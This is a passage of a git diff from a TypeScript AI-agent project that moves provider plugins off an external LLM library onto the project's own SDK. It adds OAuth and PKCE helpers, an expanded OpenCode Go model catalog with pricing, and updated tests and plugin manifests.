+ +`; +} + +export function oauthSuccessHtml(message: string): string { + return renderPage({ + title: "Authentication successful", + heading: "Authentication successful", + message, + }); +} + +export function oauthErrorHtml(message: string, details?: string): string { + return renderPage({ + title: "Authentication failed", + heading: "Authentication failed", + message, + details, + }); +} diff --git a/extensions/openai/openai-codex-oauth-types.runtime.ts b/extensions/openai/openai-codex-oauth-types.runtime.ts new file mode 100644 index 00000000000..08edcbaa82d --- /dev/null +++ b/extensions/openai/openai-codex-oauth-types.runtime.ts @@ -0,0 +1,71 @@ +import type { Model } from "openclaw/plugin-sdk/llm"; + +export type OAuthCredentials = { + refresh: string; + access: string; + expires: number; + [key: string]: unknown; +}; + +export type OAuthProviderId = string; + +/** @deprecated Use OAuthProviderId instead */ +export type OAuthProvider = OAuthProviderId; + +export type OAuthPrompt = { + message: string; + placeholder?: string; + allowEmpty?: boolean; +}; + +export type OAuthAuthInfo = { + url: string; + instructions?: string; +}; + +export type OAuthSelectOption = { + id: string; + label: string; +}; + +export type OAuthSelectPrompt = { + message: string; + options: OAuthSelectOption[]; +}; + +export interface OAuthLoginCallbacks { + onAuth: (info: OAuthAuthInfo) => void; + onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; + /** Show an interactive selector and return the selected option id, or undefined on cancel. */ + onSelect?: (prompt: OAuthSelectPrompt) => Promise; + signal?: AbortSignal; +} + +export interface OAuthProviderInterface { + readonly id: OAuthProviderId; + readonly name: string; + + /** Run the login flow, return credentials to persist */ + login(callbacks: OAuthLoginCallbacks): Promise; + + /** Whether login uses a local callback server and supports manual code input. */ + usesCallbackServer?: boolean; + + /** Refresh expired credentials, return updated credentials to persist */ + refreshToken(credentials: OAuthCredentials): Promise; + + /** Convert credentials to API key string for the provider */ + getApiKey(credentials: OAuthCredentials): string; + + /** Optional: modify models for this provider (e.g., update baseUrl) */ + modifyModels?(models: Model[], credentials: OAuthCredentials): Model[]; +} + +/** @deprecated Use OAuthProviderInterface instead */ +export interface OAuthProviderInfo { + id: OAuthProviderId; + name: string; + available: boolean; +} diff --git a/extensions/openai/openai-codex-oauth.runtime.ts b/extensions/openai/openai-codex-oauth.runtime.ts index 4670e10d111..8fe4d487681 100644 --- a/extensions/openai/openai-codex-oauth.runtime.ts +++ b/extensions/openai/openai-codex-oauth.runtime.ts @@ -1,9 +1,10 @@ import path from "node:path"; -import { loginOpenAICodex, type OAuthCredentials } from "@earendil-works/pi-ai/oauth"; import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime"; import type { ProviderAuthContext } from "openclaw/plugin-sdk/plugin-entry"; import { ensureGlobalUndiciEnvProxyDispatcher } from "openclaw/plugin-sdk/runtime-env"; import { formatCliCommand } from "openclaw/plugin-sdk/setup-tools"; +import { loginOpenAICodex } from "./openai-codex-oauth-flow.runtime.js"; +import type { OAuthCredentials } from "./openai-codex-oauth-types.runtime.js"; const manualInputPromptMessage = "Paste the authorization code (or full redirect URL):"; const openAICodexOAuthOriginator = "openclaw"; diff --git a/extensions/openai/openai-codex-pkce.runtime.ts b/extensions/openai/openai-codex-pkce.runtime.ts new file mode 100644 index 00000000000..c2b0f5c1f09 --- /dev/null +++ b/extensions/openai/openai-codex-pkce.runtime.ts @@ -0,0 +1,40 @@ +/** + * PKCE utilities using Web Crypto API. + * Works in both Node.js 20+ and browsers. + */ + +/** + * Encode bytes as base64url string. + */ +function base64urlEncode(bytes: Uint8Array): string { + let binary = ""; + for (const byte of bytes) { + binary += String.fromCharCode(byte); + } + return btoa(binary).replace(/\+/g, "-").replace(/\//g, "_").replace(/[=]/g, ""); +} + +/** + * Generate PKCE code verifier and challenge. + * Uses Web Crypto API for cross-platform compatibility. + */ +export async function generatePKCE(): Promise<{ verifier: string; challenge: string }> { + // Generate random verifier + const verifierBytes = new Uint8Array(32); + crypto.getRandomValues(verifierBytes); + const verifier = base64urlEncode(verifierBytes); + + // Compute SHA-256 challenge + const encoder = new TextEncoder(); + const data = encoder.encode(verifier); + const hashBuffer = await crypto.subtle.digest("SHA-256", data); + const challenge = base64urlEncode(new Uint8Array(hashBuffer)); + + return { verifier, challenge }; +} + +export function generateOAuthState(): string { + const stateBytes = new Uint8Array(32); + crypto.getRandomValues(stateBytes); + return base64urlEncode(stateBytes); +} diff --git a/extensions/openai/openai-codex-provider.runtime.ts b/extensions/openai/openai-codex-provider.runtime.ts index 1cd9854f406..66e5c384d7a 100644 --- a/extensions/openai/openai-codex-provider.runtime.ts +++ b/extensions/openai/openai-codex-provider.runtime.ts @@ -1,13 +1,11 @@ -import { - getOAuthApiKey as getOAuthApiKeyFromPi, - refreshOpenAICodexToken as refreshOpenAICodexTokenFromPi, -} from "@earendil-works/pi-ai/oauth"; import { ensureGlobalUndiciEnvProxyDispatcher } from "openclaw/plugin-sdk/runtime-env"; +import { refreshOpenAICodexToken as refreshOpenAICodexTokenFromFlow } from "./openai-codex-oauth-flow.runtime.js"; +import type { OAuthCredentials } from "./openai-codex-oauth-types.runtime.js"; type OpenAICodexProviderRuntimeDeps = { ensureGlobalUndiciEnvProxyDispatcher: typeof ensureGlobalUndiciEnvProxyDispatcher; - getOAuthApiKey: typeof getOAuthApiKeyFromPi; - refreshOpenAICodexToken: typeof refreshOpenAICodexTokenFromPi; + getOAuthApiKey: typeof getOpenAICodexOAuthApiKey; + refreshOpenAICodexToken: typeof refreshOpenAICodexTokenFromFlow; }; export function createOpenAICodexProviderRuntime(deps: OpenAICodexProviderRuntimeDeps): { @@ -28,18 +26,35 @@ export function createOpenAICodexProviderRuntime(deps: OpenAICodexProviderRuntim const runtime = createOpenAICodexProviderRuntime({ ensureGlobalUndiciEnvProxyDispatcher, - getOAuthApiKey: getOAuthApiKeyFromPi, - refreshOpenAICodexToken: refreshOpenAICodexTokenFromPi, + getOAuthApiKey: getOpenAICodexOAuthApiKey, + refreshOpenAICodexToken: refreshOpenAICodexTokenFromFlow, }); export async function getOAuthApiKey( - ...args: Parameters -): Promise>> { + ...args: Parameters +): Promise>> { return await runtime.getOAuthApiKey(...args); } export async function refreshOpenAICodexToken( - ...args: Parameters -): Promise>> { + ...args: Parameters +): Promise>> { return await runtime.refreshOpenAICodexToken(...args); } + +async function getOpenAICodexOAuthApiKey( + providerId: string, + credentials: Record, +): Promise<{ newCredentials: OAuthCredentials; apiKey: string } | null> { + if (providerId !== "openai-codex") { + throw new Error(`Unknown OAuth provider: ${providerId}`); + } + let creds = credentials[providerId]; + if (!creds) { + return null; + } + if (Date.now() >= creds.expires) { + creds = await refreshOpenAICodexTokenFromFlow(creds.refresh); + } + return { newCredentials: creds, apiKey: creds.access }; +} diff --git a/extensions/openai/openai-codex-provider.test.ts b/extensions/openai/openai-codex-provider.test.ts index 0644b7a9456..a411b211eac 100644 --- a/extensions/openai/openai-codex-provider.test.ts +++ b/extensions/openai/openai-codex-provider.test.ts @@ -420,7 +420,7 @@ describe("openai codex provider", () => { }); }); - it("keeps Pi cost metadata but applies Codex context metadata for gpt-5.5", () => { + it("keeps OpenClaw cost metadata but applies Codex context metadata for gpt-5.5", () => { const provider = buildOpenAICodexProviderPlugin(); const model = provider.resolveDynamicModel?.({ diff --git a/extensions/openai/openai-provider.live.test.ts b/extensions/openai/openai-provider.live.test.ts index f91cbb67062..66d4c9eacff 100644 --- a/extensions/openai/openai-provider.live.test.ts +++ b/extensions/openai/openai-provider.live.test.ts @@ -1,5 +1,5 @@ -import { getModel, type Api, type Model } from "@earendil-works/pi-ai"; import OpenAI from "openai"; +import type { Api } from "openclaw/plugin-sdk/llm"; import type { ProviderRuntimeModel } from "openclaw/plugin-sdk/plugin-entry"; import { describe, expect, it } from "vitest"; import { buildOpenAIProvider } from "./openai-provider.js"; @@ -20,10 +20,6 @@ type LiveModelCase = { textVerbosity: "low" | "medium"; }; -function findOpenAIModel(modelId: string): Model | null { - return (getModel("openai", modelId as never) as Model | undefined) ?? null; -} - function resolveLiveModelCase(modelId: string): LiveModelCase { switch (modelId) { case "chat-latest": @@ -40,10 +36,10 @@ function resolveLiveModelCase(modelId: string): LiveModelCase { case "gpt-5.5": return { modelId, - templateId: "gpt-5.4", - templateName: "GPT-5.4", - cost: { input: 5, output: 30, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1_000_000, + templateId: "gpt-5.5", + templateName: "GPT-5.5", + cost: { input: 5, output: 30, cacheRead: 0.5, cacheWrite: 0 }, + contextWindow: 272_000, maxTokens: 128_000, reasoning: true, textVerbosity: "low", @@ -130,10 +126,6 @@ describeLive("buildOpenAIProvider live", () => { if (providerId !== "openai") { return null; } - const exactModel = findOpenAIModel(id); - if (exactModel) { - return exactModel; - } if (id === liveCase.templateId) { return { id: liveCase.templateId, diff --git a/extensions/openai/openai-provider.test.ts b/extensions/openai/openai-provider.test.ts index 0029df49e4d..a49b74f7b77 100644 --- a/extensions/openai/openai-provider.test.ts +++ b/extensions/openai/openai-provider.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model, SimpleStreamOptions } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { buildOpenAICodexProviderPlugin } from "./openai-codex-provider.js"; import { buildOpenAIProvider } from "./openai-provider.js"; @@ -356,7 +356,7 @@ describe("buildOpenAIProvider", () => { }); }); - it("leaves gpt-5.5 to Pi and resolves gpt-5.5-pro locally", () => { + it("leaves gpt-5.5 to OpenClaw and resolves gpt-5.5-pro locally", () => { const provider = buildOpenAIProvider(); const model = provider.resolveDynamicModel?.({ diff --git a/extensions/openai/openai.live.test.ts b/extensions/openai/openai.live.test.ts index f3c837a2825..cd4f226acb0 100644 --- a/extensions/openai/openai.live.test.ts +++ b/extensions/openai/openai.live.test.ts @@ -1,11 +1,11 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { getModel, type Api, type Model } from "@earendil-works/pi-ai"; -import { AuthStorage, ModelRegistry } from "@earendil-works/pi-coding-agent"; import OpenAI from "openai"; import type { ResolvedTtsConfig } from "openclaw/plugin-sdk/agent-runtime"; +import { AuthStorage, ModelRegistry } from "openclaw/plugin-sdk/agent-sessions"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { encodePngRgba, fillPixel } from "openclaw/plugin-sdk/media-runtime"; import { registerProviderPlugin, @@ -24,7 +24,7 @@ import plugin from "./index.js"; const OPENAI_API_KEY = process.env.OPENAI_API_KEY ?? ""; const LIVE_MODEL_ID = process.env.OPENCLAW_LIVE_OPENAI_PLUGIN_MODEL?.trim() || "gpt-5.5"; const LIVE_IMAGE_MODEL = process.env.OPENCLAW_LIVE_OPENAI_IMAGE_MODEL?.trim() || "gpt-image-2"; -const LIVE_VISION_MODEL = process.env.OPENCLAW_LIVE_OPENAI_VISION_MODEL?.trim() || "gpt-4.1-mini"; +const LIVE_VISION_MODEL = process.env.OPENCLAW_LIVE_OPENAI_VISION_MODEL?.trim() || "gpt-5.4-mini"; const liveEnabled = OPENAI_API_KEY.trim().length > 0 && process.env.OPENCLAW_LIVE_TEST === "1"; const describeLive = liveEnabled ? describe : describe.skip; const EMPTY_AUTH_STORE = { version: 1, profiles: {} } as const; @@ -32,45 +32,21 @@ const ModelRegistryCtor = ModelRegistry as unknown as { new (authStorage: AuthStorage, modelsJsonPath?: string): ModelRegistry; }; -function findOpenAIModel(modelId: string): Model | null { - return (getModel("openai", modelId as never) as Model | undefined) ?? null; -} - -function resolveTemplateModelId(modelId: string) { - switch (modelId) { - case "gpt-5.5": - return "gpt-5.4"; - case "gpt-5.4": - return "gpt-5.2"; - case "gpt-5.4-mini": - return "gpt-5-mini"; - case "gpt-5.4-nano": - return "gpt-5-nano"; - default: - throw new Error(`Unsupported live OpenAI plugin model: ${modelId}`); - } -} - function createLiveModelRegistry(modelId: string): ModelRegistry { const registry = new ModelRegistryCtor(AuthStorage.inMemory()); - const template = findOpenAIModel(modelId) ?? findOpenAIModel(resolveTemplateModelId(modelId)); - if (!template) { - throw new Error(`Unsupported live OpenAI plugin model: ${modelId}`); - } registry.registerProvider("openai", { apiKey: "test", - baseUrl: template.baseUrl, + baseUrl: "https://api.openai.com/v1", models: [ { - id: template.id, - name: template.name, - api: template.api, - reasoning: template.reasoning, - input: template.input, - cost: template.cost, - contextWindow: template.contextWindow, - maxTokens: template.maxTokens, - ...(template.compat ? { compat: template.compat } : {}), + id: modelId, + name: modelId, + api: "openai-responses", + reasoning: true, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 400_000, + maxTokens: 128_000, }, ], }); diff --git a/extensions/openai/openclaw.plugin.json b/extensions/openai/openclaw.plugin.json index 6c240d2fb75..596b2a6fcf0 100644 --- a/extensions/openai/openclaw.plugin.json +++ b/extensions/openai/openclaw.plugin.json @@ -309,8 +309,13 @@ } ] }, - "providerAuthEnvVars": { - "openai": ["OPENAI_API_KEY"] + "setup": { + "providers": [ + { + "id": "openai", + "envVars": ["OPENAI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/openai/openclaw.plugin.test.ts b/extensions/openai/openclaw.plugin.test.ts index 955eb521556..32263108539 100644 --- a/extensions/openai/openclaw.plugin.test.ts +++ b/extensions/openai/openclaw.plugin.test.ts @@ -27,19 +27,13 @@ const manifest = JSON.parse( groupLabel?: string; groupHint?: string; }>; - modelCatalog?: { - suppressions?: Array<{ - provider?: string; - model?: string; - reason?: string; - }>; - }; }; const packageJson = JSON.parse( readFileSync(new URL("./package.json", import.meta.url), "utf8"), ) as { dependencies?: Record; + devDependencies?: Record; }; function manifestComparableWizardFields(choice: { @@ -99,22 +93,10 @@ function expectWizardFields( describe("OpenAI plugin manifest", () => { it("keeps runtime dependencies in the package manifest", () => { - expect(packageJson.dependencies?.["@earendil-works/pi-ai"]).toBe("0.75.5"); + expect(packageJson.devDependencies?.["@openclaw/plugin-sdk"]).toBe("workspace:*"); expect(packageJson.dependencies?.ws).toBe("8.21.0"); }); - it("does not suppress Codex Spark for the Codex catalog", () => { - const suppressionRefs = new Set( - (manifest.modelCatalog?.suppressions ?? []).map( - (suppression) => `${suppression.provider}/${suppression.model}`, - ), - ); - - expect(suppressionRefs).toContain("openai/gpt-5.3-codex-spark"); - expect(suppressionRefs).toContain("azure-openai-responses/gpt-5.3-codex-spark"); - expect(suppressionRefs).not.toContain("openai-codex/gpt-5.3-codex-spark"); - }); - it("keeps removed Codex CLI import auth choice as a deprecated browser-login alias", () => { const codexBrowserLogin = manifest.providerAuthChoices?.find( (choice) => choice.choiceId === "openai-codex", diff --git a/extensions/openai/package.json b/extensions/openai/package.json index 68fb6a39625..d0c39d1aba0 100644 --- a/extensions/openai/package.json +++ b/extensions/openai/package.json @@ -5,7 +5,6 @@ "description": "OpenClaw OpenAI provider plugins", "type": "module", "dependencies": { - "@earendil-works/pi-ai": "0.75.5", "ws": "8.21.0" }, "devDependencies": { diff --git a/extensions/opencode-go/index.test.ts b/extensions/opencode-go/index.test.ts index 85dc824f64a..694b766b75f 100644 --- a/extensions/opencode-go/index.test.ts +++ b/extensions/opencode-go/index.test.ts @@ -1,4 +1,4 @@ -import { getModels } from "@earendil-works/pi-ai"; +import type { ProviderRuntimeModel } from "openclaw/plugin-sdk/plugin-entry"; import { registerProviderPlugin, registerSingleProviderPlugin, @@ -72,8 +72,7 @@ describe("opencode-go provider plugin", () => { const provider = await registerSingleProviderPlugin(plugin); expect(provider.catalog).toBeUndefined(); - const models = new Map(getModels("opencode-go").map((model) => [model.id, model])); - expect([...models.keys()]).toEqual([ + const expectedModelIds = [ "deepseek-v4-flash", "deepseek-v4-pro", "glm-5", @@ -86,7 +85,16 @@ describe("opencode-go provider plugin", () => { "minimax-m2.7", "qwen3.5-plus", "qwen3.6-plus", - ]); + ]; + const models = new Map(); + for (const modelId of expectedModelIds) { + const model = provider.resolveDynamicModel?.({ modelId } as never); + if (!model) { + throw new Error(`expected OpenCode Go model ${modelId}`); + } + models.set(model.id, model); + } + expect([...models.keys()]).toEqual(expectedModelIds); const supplemental = await provider.augmentModelCatalog?.({ entries: [...models.values()].map((model) => ({ provider: model.provider, diff --git a/extensions/opencode-go/index.ts b/extensions/opencode-go/index.ts index ecd7915ae16..0117a7d488f 100644 --- a/extensions/opencode-go/index.ts +++ b/extensions/opencode-go/index.ts @@ -4,10 +4,10 @@ import { PASSTHROUGH_GEMINI_REPLAY_HOOKS } from "openclaw/plugin-sdk/provider-mo import { applyOpencodeGoConfig, OPENCODE_GO_DEFAULT_MODEL_REF } from "./api.js"; import { opencodeGoMediaUnderstandingProvider } from "./media-understanding-provider.js"; import { - listOpencodeGoSupplementalModelCatalogEntries, + listOpencodeGoModelCatalogEntries, normalizeOpencodeGoBaseUrl, normalizeOpencodeGoResolvedModel, - resolveOpencodeGoSupplementalModel, + resolveOpencodeGoModel, } from "./provider-catalog.js"; import { createOpencodeGoWrapper } from "./stream.js"; @@ -90,8 +90,8 @@ export default definePluginEntry({ } : undefined; }, - resolveDynamicModel: ({ modelId }) => resolveOpencodeGoSupplementalModel(modelId), - augmentModelCatalog: () => listOpencodeGoSupplementalModelCatalogEntries(), + resolveDynamicModel: ({ modelId }) => resolveOpencodeGoModel(modelId), + augmentModelCatalog: () => listOpencodeGoModelCatalogEntries(), ...PASSTHROUGH_GEMINI_REPLAY_HOOKS, wrapStreamFn: (ctx) => createOpencodeGoWrapper(ctx.streamFn, ctx.thinkingLevel), isModernModelRef: () => true, diff --git a/extensions/opencode-go/onboard.test.ts b/extensions/opencode-go/onboard.test.ts index 043c3b6debf..3182b4c59bd 100644 --- a/extensions/opencode-go/onboard.test.ts +++ b/extensions/opencode-go/onboard.test.ts @@ -5,7 +5,7 @@ import { applyOpencodeGoConfig, applyOpencodeGoProviderConfig } from "./onboard. const MODEL_REF = "opencode-go/kimi-k2.6"; describe("opencode-go onboard", () => { - it("leaves model aliases to the pi catalog", () => { + it("leaves model aliases to the OpenClaw catalog", () => { const cfg = { agents: { defaults: { diff --git a/extensions/opencode-go/openclaw.plugin.json b/extensions/opencode-go/openclaw.plugin.json index 15fe2ded3c5..8ed7ae70484 100644 --- a/extensions/opencode-go/openclaw.plugin.json +++ b/extensions/opencode-go/openclaw.plugin.json @@ -69,8 +69,13 @@ "opencode-go": "refreshable" } }, - "providerAuthEnvVars": { - "opencode-go": ["OPENCODE_API_KEY", "OPENCODE_ZEN_API_KEY"] + "setup": { + "providers": [ + { + "id": "opencode-go", + "envVars": ["OPENCODE_API_KEY", "OPENCODE_ZEN_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/opencode-go/provider-catalog.ts b/extensions/opencode-go/provider-catalog.ts index be5e686970a..d701f3f3b0a 100644 --- a/extensions/opencode-go/provider-catalog.ts +++ b/extensions/opencode-go/provider-catalog.ts @@ -8,7 +8,7 @@ const OPENCODE_GO_OPENAI_BASE_URL = "https://opencode.ai/zen/go/v1"; const OPENCODE_GO_ANTHROPIC_BASE_URL = "https://opencode.ai/zen/go"; const OPENCODE_GO_KIMI_NO_REASONING_MODEL_IDS = new Set(["kimi-k2.5", "kimi-k2.6"]); -const OPENCODE_GO_SUPPLEMENTAL_MODELS = ( +const OPENCODE_GO_MODELS = ( [ { id: "deepseek-v4-pro", @@ -54,11 +54,183 @@ const OPENCODE_GO_SUPPLEMENTAL_MODELS = ( maxTokensField: "max_tokens", }, }, + { + id: "glm-5", + name: "GLM-5", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text"], + cost: { + input: 1, + output: 3.2, + cacheRead: 0.2, + cacheWrite: 0, + }, + contextWindow: 202_752, + maxTokens: 32_768, + }, + { + id: "glm-5.1", + name: "GLM-5.1", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text"], + cost: { + input: 1.4, + output: 4.4, + cacheRead: 0.26, + cacheWrite: 0, + }, + contextWindow: 202_752, + maxTokens: 32_768, + }, + { + id: "kimi-k2.5", + name: "Kimi K2.5", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text", "image"], + cost: { + input: 0.6, + output: 3, + cacheRead: 0.1, + cacheWrite: 0, + }, + contextWindow: 262_144, + maxTokens: 65_536, + }, + { + id: "kimi-k2.6", + name: "Kimi K2.6", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text", "image"], + cost: { + input: 0.95, + output: 4, + cacheRead: 0.16, + cacheWrite: 0, + }, + contextWindow: 262_144, + maxTokens: 65_536, + }, + { + id: "mimo-v2.5", + name: "MiMo V2.5", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text", "image"], + cost: { + input: 0.4, + output: 2, + cacheRead: 0.08, + cacheWrite: 0, + }, + contextWindow: 1_000_000, + maxTokens: 128_000, + }, + { + id: "mimo-v2.5-pro", + name: "MiMo V2.5 Pro", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text"], + cost: { + input: 1, + output: 3, + cacheRead: 0.2, + cacheWrite: 0, + }, + contextWindow: 1_048_576, + maxTokens: 128_000, + }, + { + id: "minimax-m2.5", + name: "MiniMax M2.5", + api: "anthropic-messages", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_ANTHROPIC_BASE_URL, + reasoning: true, + input: ["text"], + cost: { + input: 0.3, + output: 1.2, + cacheRead: 0.03, + cacheWrite: 0, + }, + contextWindow: 204_800, + maxTokens: 65_536, + }, + { + id: "minimax-m2.7", + name: "MiniMax M2.7", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + reasoning: true, + input: ["text"], + cost: { + input: 0.3, + output: 1.2, + cacheRead: 0.06, + cacheWrite: 0, + }, + contextWindow: 204_800, + maxTokens: 131_072, + }, + { + id: "qwen3.5-plus", + name: "Qwen3.5 Plus", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + compat: { thinkingFormat: "qwen" }, + reasoning: true, + input: ["text", "image"], + cost: { + input: 0.2, + output: 1.2, + cacheRead: 0.02, + cacheWrite: 0.25, + }, + contextWindow: 262_144, + maxTokens: 65_536, + }, + { + id: "qwen3.6-plus", + name: "Qwen3.6 Plus", + api: "openai-completions", + provider: PROVIDER_ID, + baseUrl: OPENCODE_GO_OPENAI_BASE_URL, + compat: { thinkingFormat: "qwen" }, + reasoning: true, + input: ["text", "image"], + cost: { + input: 0.5, + output: 3, + cacheRead: 0.05, + cacheWrite: 0.625, + }, + contextWindow: 262_144, + maxTokens: 65_536, + }, ] satisfies ProviderRuntimeModel[] ).map((model) => normalizeModelCompat(model)); -export function listOpencodeGoSupplementalModelCatalogEntries(): ModelCatalogEntry[] { - return OPENCODE_GO_SUPPLEMENTAL_MODELS.map((model) => ({ +export function listOpencodeGoModelCatalogEntries(): ModelCatalogEntry[] { + return OPENCODE_GO_MODELS.map((model) => ({ provider: model.provider, id: model.id, name: model.name, @@ -68,11 +240,9 @@ export function listOpencodeGoSupplementalModelCatalogEntries(): ModelCatalogEnt })); } -export function resolveOpencodeGoSupplementalModel( - modelId: string, -): ProviderRuntimeModel | undefined { +export function resolveOpencodeGoModel(modelId: string): ProviderRuntimeModel | undefined { const normalizedModelId = modelId.trim().toLowerCase(); - return OPENCODE_GO_SUPPLEMENTAL_MODELS.find((model) => model.id === normalizedModelId); + return OPENCODE_GO_MODELS.find((model) => model.id === normalizedModelId); } export function isOpencodeGoKimiNoReasoningModelId(modelId: unknown): boolean { diff --git a/extensions/opencode/media-understanding-provider.ts b/extensions/opencode/media-understanding-provider.ts index fa29a2ac94f..6ddcacd34fd 100644 --- a/extensions/opencode/media-understanding-provider.ts +++ b/extensions/opencode/media-understanding-provider.ts @@ -1,4 +1,4 @@ -import type { ProviderStreamOptions } from "@earendil-works/pi-ai"; +import type { ProviderStreamOptions } from "openclaw/plugin-sdk/llm"; import { describeImageWithModelPayloadTransform, describeImagesWithModelPayloadTransform, diff --git a/extensions/opencode/openclaw.plugin.json b/extensions/opencode/openclaw.plugin.json index 408ef9d6751..0da1c98df6b 100644 --- a/extensions/opencode/openclaw.plugin.json +++ b/extensions/opencode/openclaw.plugin.json @@ -18,8 +18,13 @@ } } }, - "providerAuthEnvVars": { - "opencode": ["OPENCODE_API_KEY", "OPENCODE_ZEN_API_KEY"] + "setup": { + "providers": [ + { + "id": "opencode", + "envVars": ["OPENCODE_API_KEY", "OPENCODE_ZEN_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/openrouter/index.test.ts b/extensions/openrouter/index.test.ts index ecec058fb9a..ce38a2ecb13 100644 --- a/extensions/openrouter/index.test.ts +++ b/extensions/openrouter/index.test.ts @@ -205,8 +205,8 @@ describe("openrouter provider hooks", () => { let capturedPayload: Record | undefined; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload: Record = {}; void args[2]?.onPayload?.(payload, args[0]); capturedPayload = payload; @@ -303,8 +303,8 @@ describe("openrouter provider hooks", () => { let capturedPayload: Record | undefined; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { void args[2]?.onPayload?.({}, args[0]); return { async *[Symbol.asyncIterator]() {} } as never; }, @@ -342,8 +342,8 @@ describe("openrouter provider hooks", () => { let capturedPayload: Record | undefined; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [ { role: "user", content: "read file" }, @@ -396,8 +396,8 @@ describe("openrouter provider hooks", () => { const payloads: Array> = []; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [] }; void args[2]?.onPayload?.(payload, args[0]); payloads.push(payload); @@ -440,8 +440,8 @@ describe("openrouter provider hooks", () => { const payloads: Array> = []; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [{ role: "assistant", tool_calls: [{ id: "call_1", type: "function" }] }], }; @@ -503,8 +503,8 @@ describe("openrouter provider hooks", () => { let capturedPayload: Record | undefined; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [ { role: "user", content: "Return JSON." }, @@ -553,8 +553,8 @@ describe("openrouter provider hooks", () => { ]; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [...messages] }; void args[2]?.onPayload?.(payload, args[0]); capturedPayload = payload; @@ -591,8 +591,8 @@ describe("openrouter provider hooks", () => { const payloads: Array> = []; const baseStreamFn = vi.fn( ( - ...args: Parameters - ): ReturnType => { + ...args: Parameters + ): ReturnType => { const payload = { messages: [ { role: "user", content: "Return JSON." }, diff --git a/extensions/openrouter/openclaw.plugin.json b/extensions/openrouter/openclaw.plugin.json index 7c7332b876c..87c3a94a1d3 100644 --- a/extensions/openrouter/openclaw.plugin.json +++ b/extensions/openrouter/openclaw.plugin.json @@ -35,8 +35,13 @@ } } }, - "providerAuthEnvVars": { - "openrouter": ["OPENROUTER_API_KEY"] + "setup": { + "providers": [ + { + "id": "openrouter", + "envVars": ["OPENROUTER_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/openrouter/openrouter.live.test.ts b/extensions/openrouter/openrouter.live.test.ts index 56a5f2c7f84..9271dbfa4e7 100644 --- a/extensions/openrouter/openrouter.live.test.ts +++ b/extensions/openrouter/openrouter.live.test.ts @@ -1,5 +1,5 @@ -import { AuthStorage, ModelRegistry } from "@earendil-works/pi-coding-agent"; import OpenAI from "openai"; +import { AuthStorage, ModelRegistry } from "openclaw/plugin-sdk/agent-sessions"; import { registerProviderPlugin, requireRegisteredProvider, diff --git a/extensions/openrouter/stream.ts b/extensions/openrouter/stream.ts index aa6f0d50c29..77634e39f9b 100644 --- a/extensions/openrouter/stream.ts +++ b/extensions/openrouter/stream.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { OPENROUTER_THINKING_STREAM_HOOKS } from "openclaw/plugin-sdk/provider-stream-family"; import { diff --git a/extensions/perplexity/openclaw.plugin.json b/extensions/perplexity/openclaw.plugin.json index 9a20e419040..77048fcdcbd 100644 --- a/extensions/perplexity/openclaw.plugin.json +++ b/extensions/perplexity/openclaw.plugin.json @@ -3,8 +3,13 @@ "activation": { "onStartup": false }, - "providerAuthEnvVars": { - "perplexity": ["PERPLEXITY_API_KEY", "OPENROUTER_API_KEY"] + "setup": { + "providers": [ + { + "id": "perplexity", + "envVars": ["PERPLEXITY_API_KEY", "OPENROUTER_API_KEY"] + } + ] }, "uiHints": { "webSearch.apiKey": { diff --git a/extensions/policy/src/doctor/register.test.ts b/extensions/policy/src/doctor/register.test.ts index 0deeebecff6..ff291241996 100644 --- a/extensions/policy/src/doctor/register.test.ts +++ b/extensions/policy/src/doctor/register.test.ts 